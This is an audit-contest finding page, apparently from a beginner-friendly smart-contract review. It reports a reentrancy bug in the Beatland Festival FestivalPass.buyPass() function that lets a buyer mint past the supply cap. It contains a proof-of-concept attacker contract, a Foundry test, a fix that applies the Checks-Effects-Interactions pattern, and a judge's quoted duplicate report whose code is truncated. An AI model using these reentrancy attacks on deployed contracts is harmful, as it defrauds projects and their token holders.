Beatland Festival
AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy Vulnerability in Pass Purchase Allows Supply Cap Bypass

0xki

Root + Impact

Description

  • The buyPass() function in FestivalPass.sol is designed to mint festival passes to users upon payment, enforcing supply limits to prevent over-minting. Under normal operation, each purchase should increment the passSupply counter before any external interactions, ensuring the supply check accurately reflects all minted passes.

  • The function calls _mint() (an external interaction that triggers receiver hooks) before incrementing the passSupply counter, creating a reentrancy window. Contract wallets implementing onERC1155Received can re-enter buyPass() during the mint callback, and each reentrant call sees the unchanged supply counter, passing the require(passSupply[collectionId] < passMaxSupply[collectionId]) check despite multiple mints occurring.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, ""); // External call occurs here - can trigger reentrancy
@> ++passSupply[collectionId]; // State update happens AFTER external interaction
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
​

Risk

Likelihood:

  • The vulnerability activates when a user purchases passes using a contract wallet that implements reentrancy logic in its onERC1155Received hook, requiring technical sophistication but no coordination with other parties.

  • Exploitation becomes trivial for any attacker capable of deploying a malicious contract with receiver hook functionality, making this a realistic attack vector.

Impact:

  • Total minted passes can exceed maxSupply by factors determined only by gas limits and attacker resources, completely destroying supply scarcity mechanisms.

  • While attackers must pay for each mint, the supply cap bypass causes protocol-wide harm by inflating pass availability and reducing value for all holders.

Proof of Concept

contract ReentrancyAttacker {
FestivalPass public festivalPass;
uint256 public attackCount;
function attack() external payable {
festivalPass.buyPass{value: 0.01 ether}(1);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external returns (bytes4) {
attackCount++;
if (attackCount < 3) {
uint256 supply = festivalPass.passSupply(1);
uint256 maxSupply = festivalPass.passMaxSupply(1);
if (supply < maxSupply) {
festivalPass.buyPass{value: 0.01 ether}(1);
}
}
return this.onERC1155Received.selector;
}
}
​
function testExploit_M02_Reentrancy() public {
vm.startPrank(organizer);
festivalPass.configurePass(1, 0.01 ether, 3);
vm.stopPrank();
ReentrancyAttacker attacker = new ReentrancyAttacker{value: 1 ether}();
attacker.attack{value: 0.03 ether}();
assertTrue(festivalPass.balanceOf(address(attacker), 1) > 1);
}

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern by updating state before external calls and moving event emissions appropriately.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
+ emit PassPurchased(msg.sender, collectionId);
+ _mint(msg.sender, collectionId, 1, "");
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
- emit PassPurchased(msg.sender, collectionId);
}
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 20 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!